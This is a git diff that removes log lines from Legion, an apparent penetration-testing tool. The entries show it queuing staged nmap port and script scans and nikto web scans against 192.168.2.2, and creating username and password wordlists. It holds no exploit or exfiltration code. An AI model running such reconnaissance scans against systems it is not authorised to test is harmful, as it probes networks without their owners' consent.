"legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:07:48,528", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:07:48,534", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:07:49,397", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:49,398", "name": "Waiting 0.15s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:49,564", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:51,250", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:51,252", "name": "Waiting 0.84s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:52,094", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:56,552", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:56,554", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:57,445", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:57,451", "name": "Process 4 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:07:57,456", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:07:57,474", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:57,475", "name": "Waiting 0.46s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:57,965", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:57,967", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:08:02,105", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:08:02,107", "name": "Waiting 0.66s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:08:02,770", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:09:35,726", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:09:35,727", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:09:36,467", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:09:36,473", "name": "Process 3 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:09:36,479", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:09:36,480", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:09:36,481", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:09:37,006", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:09:37,008", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:10:56,316", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:56,318", "name": "Waiting 0.58s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:56,924", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:57,060", "name": "Process 5 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:10:57,178", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:10:57,415", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:57,419", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:58,310", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:58,313", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:10:58,316", "name": "runStagedNmap called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:10:58,320", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:10:58,326", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:10:58,328", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:58,330", "name": "Waiting 0.99s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:59,340", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:59,344", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:23,21,22,110,111,2049,3389,8080,U:500,5060 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131058319994-nmapstage4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:10:59,388", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:59,391", "name": "Waiting 0.09s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:59,497", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:59,499", "name": "runCommand called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:10:59,500", "name": "runCommand connected for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:10:59,505", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:10:59,506", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:10:59,507", "name": "Running tools for: domain on 192.168.2.2:53", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:10:59,516", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:10:59,523", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:10:59,525", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:10:59,535", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:59,537", "name": "Waiting 0.53s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:00,089", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:00,094", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131059518548-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:11:00,139", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:00,141", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:00,588", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:00,590", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:11:00,591", "name": "Running tools for: http on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:11:00,600", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:11:00,604", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:11:00,605", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:00,606", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:00,856", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:00,861", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131100592831-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:11:00,905", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:00,909", "name": "Waiting 0.76s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:01,688", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:01,690", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:11:01,691", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:11:01,692", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:11:01,802", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:01,805", "name": "Waiting 0.9s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:02,708", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:04,379", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:04,380", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:04,676", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:04,759", "name": "Process 8 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:11:04,822", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:04,960", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:04,964", "name": "Waiting 0.88s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:05,869", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:05,872", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:11:05,875", "name": "runStagedNmap called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:11:05,879", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:11:05,887", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:11:05,890", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:05,892", "name": "Waiting 0.82s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:06,729", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:06,737", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131105879222-nmapstage5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:11:06,776", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:06,778", "name": "Waiting 0.92s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:07,719", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:07,721", "name": "runCommand called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:11:07,722", "name": "runCommand connected for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:11:07,728", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:11:07,784", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:11:07,785", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:11:07,786", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:11:08,600", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:08,601", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:08,884", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:11,599", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:11,601", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:12,324", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:16,443", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:16,445", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:16,701", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:16,708", "name": "Process 10 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:11:16,716", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:16,717", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:16,718", "name": "Waiting 0.56s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:17,294", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:17,296", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:11:18,692", "name": "Killing process: 16146", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} -{"time": "2019-02-26 13:11:18,702", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:18,707", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:19,376", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:19,424", "name": "Process 11 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} -{"time": "2019-02-26 13:11:19,425", "name": "Process 11 Output: \n\tStarting Nmap 7.70 ( https://nmap.org ) at 2019-02-26 13:11 Central Standard Time", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 718}} -{"time": "2019-02-26 13:11:19,428", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:19,429", "name": "Waiting 0.61s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:20,059", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:20,066", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:20,067", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:20,069", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:20,905", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:20,907", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:11:20,909", "name": "runStagedNmap called for stage 6", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:11:22,093", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:22,094", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:22,527", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:34,706", "name": "Killing process: 16113", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 554}} -{"time": "2019-02-26 13:11:34,709", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:34,710", "name": "Waiting 0.11s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:34,841", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:34,908", "name": "Process 9 Crashed!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 716}} -{"time": "2019-02-26 13:11:34,909", "name": "Process 9 Output: \n\t- Nikto v2.1.5---------------------------------------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 718}} -{"time": "2019-02-26 13:11:34,912", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:34,913", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:35,432", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:35,438", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:35,439", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:35,440", "name": "Waiting 0.36s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:35,818", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:35,820", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:14:00,341", "name": "Settings have NOT been changed.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 117}} -{"time": "2019-02-26 13:14:00,349", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:14:00,350", "name": "Waiting 0.02s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:14:00,395", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:14:00,413", "name": "Exiting application..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "view", "filename": "view.py", "line": 493}} diff --git a/log/legion.log b/log/legion.log index 48c03bb3..8b137891 100644 --- a/log/legion.log +++ b/log/legion.log @@ -1,244 +1 @@ -{"time": "2019-02-26 13:05:59,144", "name": "Creating temporary files..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 30}} -{"time": "2019-02-26 13:05:59,147", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 32}} -{"time": "2019-02-26 13:05:59,152", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-usernames.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} -{"time": "2019-02-26 13:05:59,155", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-passwords.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} -{"time": "2019-02-26 13:05:59,163", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/tmp/legion-sfautv7t.legion", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 42}} -{"time": "2019-02-26 13:05:59,865", "name": "Loading settings file..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "settings", "filename": "settings.py", "line": 26}} -{"time": "2019-02-26 13:06:14,835", "name": "runStagedNmap called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:06:14,840", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:06:14,843", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:06:14,844", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": 